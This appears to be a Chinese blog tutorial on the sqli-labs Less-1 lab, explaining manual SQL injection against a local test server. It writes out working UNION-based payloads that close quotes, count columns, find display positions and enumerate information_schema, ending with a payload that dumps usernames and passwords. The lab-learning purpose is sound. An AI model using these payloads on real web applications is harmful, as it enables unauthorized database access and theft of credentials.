![7f58aeb80dbba223e11a359a1737683d.png](https://i-blog.csdnimg.cn/blog_migrate/3c05afd6c27bd06d9212671ba1ab65cb.jpeg)
sql注入是一个很重要安全漏洞,之前学的总是摸棱两可,后来再渗透过程中,经常遇到需要手工注入的情况,这次就从头到尾再做一次,结合mysql数据库一起讲解,希望能给大家带来帮助,顺便自己再一次学习。
less-1 是字符注入,提示我们提交一个id试试
![fc3f90729ab2e3c58e332ba4ac04447f.png](https://i-blog.csdnimg.cn/blog_migrate/77488d0f203e8f848a99bf99375fce37.png)
在url中加入?id=1 正常显示出id为1的账号信息。
![8519c71315474e402a6c7ec29dcee58c.png](https://i-blog.csdnimg.cn/blog_migrate/462e5d14982323acb3e33c4da6e0f71e.jpeg)
此时数据库查询语句大概是这样id是字符型(这是我本地新建的模拟数据,不是sqli-labs里面的库)
![f704a8763e065ea0cae7f6084230c797.png](https://i-blog.csdnimg.cn/blog_migrate/1c597477acb3496625c90a06b8ae5857.png)
此时我们加入单引号看看
![30fd2e4a01185cb8a21bcba3e6547fd5.png](https://i-blog.csdnimg.cn/blog_migrate/8fa1c15e153a2374abeff947a7de4781.jpeg)
那这里数据库查询语句肯定会报错,如下图
![9beb3bc980b9490a49dca055280c364b.png](https://i-blog.csdnimg.cn/blog_migrate/38231ceb3a97746e931c07fb08b5a737.jpeg)
由此我们判别,id是字符型,且未过滤,转义,那么我们就在这进行注入,sql注入首先要让前面的查询闭合,后面的多余语句注释
![c2614167ce9e44284cf237aaf3519fc0.png](https://i-blog.csdnimg.cn/blog_migrate/a660ec33c679d8925cf6854b6c7ac46a.png)
如上图所示前面的用单引号闭合,后面的 -- 与 单引号 连接在一起,不能形成正确的sql语句,而 --空格 则可以, 所以在浏览器的url中用 --+ 或 %23 使服务端能够正确注释sql语句
所以payload1 就是 1'--+ payload2就是 1'%23
接下来我们就要用mysql的默认一些库表来爆库,表,那么我们就需要能查询出来,可以用级联查询,union select,用级联查询就需要知道有前面那个表有几列,可以用order by
paylaod: 1' order by 1 --+
![a3a5187d9461df0a35c3cac2befa9c5e.png](https://i-blog.csdnimg.cn/blog_migrate/1da550a5b7309121f4d1626849ca334f.png)
当我们用满足的列,查询页面数据就可以显示出来,如果我们用一个大一点的,就会如下图所示
![9ad9fd71c9a2f4599554a7e9d9e9961a.png](https://i-blog.csdnimg.cn/blog_migrate/411a65d153079b8c1f72cc840cd15532.png)
当我们 order by 3的时候 我们页面能正常显示,说明是3个字段,此时我们级联查询
后台结果:
![e8961fc55fd9ed57c5fb5a824c497bf9.png](https://i-blog.csdnimg.cn/blog_migrate/011882ae881cd9c137dc24ff33aced37.png)
前台页面:
![546b16a4323832c57c430ba74e9195e8.png](https://i-blog.csdnimg.cn/blog_migrate/6e8b072723455da497dd7cefa3f4a2a7.jpeg)
有小伙伴问了, 123 怎么不显示,实际上程序是只显示第一行结果。所以第二行就不显是,我们只需要把前面的id设置成一个数据库不存在的id,那么就可以显示 1,2,3的结果,这个操作叫做判断回显位
paylaod:-1' UNION select 1,2,3 --+
![d365d23ff60c3b808d201a73b3ecb841.png](https://i-blog.csdnimg.cn/blog_migrate/ac2a92d70b75c5229a8219f48d01f5f3.jpeg)
![38a7c4725fcd629da6d138615cd4cb1f.png](https://i-blog.csdnimg.cn/blog_migrate/7146def2bcfeaaea4adc7c5d66a45cd1.jpeg)
爆库名用mysql 自带的函数 database(),我们替换到对应的回显位
SELECT * FROM user where id='-1' UNION select 1,database(),3 -- ' LIMIT 0,1
![143a5f89a7739ec071e8414b7c9dd816.png](https://i-blog.csdnimg.cn/blog_migrate/c422e8f9234d20b66e978ee5f8d89ea0.jpeg)
然后再报表名
http://172.16.225.128/Less-1/?id=-1' union select 1,version(),GROUP_CONCAT(table_name) from information_schema.`TABLES` where table_schema ='security';--+
![402d1a769f68c1131391ebe5a06829be.png](https://i-blog.csdnimg.cn/blog_migrate/9643c6feafe9fb276a95fabaf23d65b0.jpeg)
information_schema.tables是记录数据库中所有的表,字段,等等,不了解的可以去看下这里面的结构,GROUP_CONCAT 是把结果连成一个字符串再一行显示。
爆字段 GROUP_CONCAT(column_name) from information_schema.columns where table_name ='users' and table_schema='security'
![b9e31d23c98bed8c79cae8f9831a520d.png](https://i-blog.csdnimg.cn/blog_migrate/46bc6aefcaf3097fc8d24175a4f92255.jpeg)
这里报错来字段和表就可以直接查了
http://172.16.225.128/Less-1/?id=-1' union select 1,username,password from users limit 3,4;--+
![53b59937226f3cab14d21d082a176cbb.png](https://i-blog.csdnimg.cn/blog_migrate/034ac5ffa257838284b15b68acf46b0a.jpeg)
指定limit 后面的起始行数就都可以爆出来了。写的太详细,真的好累,脖子疼。。
谢谢观看